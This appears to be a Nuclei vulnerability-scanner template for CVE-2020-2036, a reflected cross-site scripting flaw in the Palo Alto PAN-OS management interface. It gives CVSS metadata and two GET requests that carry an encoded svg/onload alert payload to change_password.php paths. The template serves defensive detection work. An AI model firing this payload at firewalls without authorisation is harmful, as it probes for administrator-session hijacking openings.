id: CVE-2020-2036

info:
  name: Palo Alto Networks PAN-OS Web Interface - Cross Site-Scripting
  author: madrobot
  severity: high
  description: |
    PAN-OS management web interface is vulnerable to reflected cross-site scripting. A remote attacker able to convince an administrator with an active authenticated session on the firewall management interface to click on a crafted link to that management web interface could potentially execute arbitrary JavaScript code in the administrator's browser and perform administrative actions. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.16; PAN-OS 9.0 versions earlier than PAN-OS 9.0.9.
  reference:
    - https://swarm.ptsecurity.com/swarm-of-palo-alto-pan-os-vulnerabilities/
    - https://security.paloaltonetworks.com/CVE-2020-2036
    - https://nvd.nist.gov/vuln/detail/CVE-2020-2036
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2020-2036
    cwe-id: CWE-79
    cpe: cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:*
    epss-score: 0.01561
  tags: cve,cve2020,vpn,xss
  metadata:
    max-request: 2

http:
  - method: GET
    path:
      - "{{BaseURL}}/unauth/php/change_password.php/%22%3E%3Csvg%2Fonload%3Dalert(1)%3E"
      - "{{BaseURL}}/php/change_password.php/%22%3E%3Csvg%2Fonload%3Dalert(1)%3E"

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "<svg/onload=alert(1)>"
        part: body

      - type: word
        words:
          - "text/html"
        part: header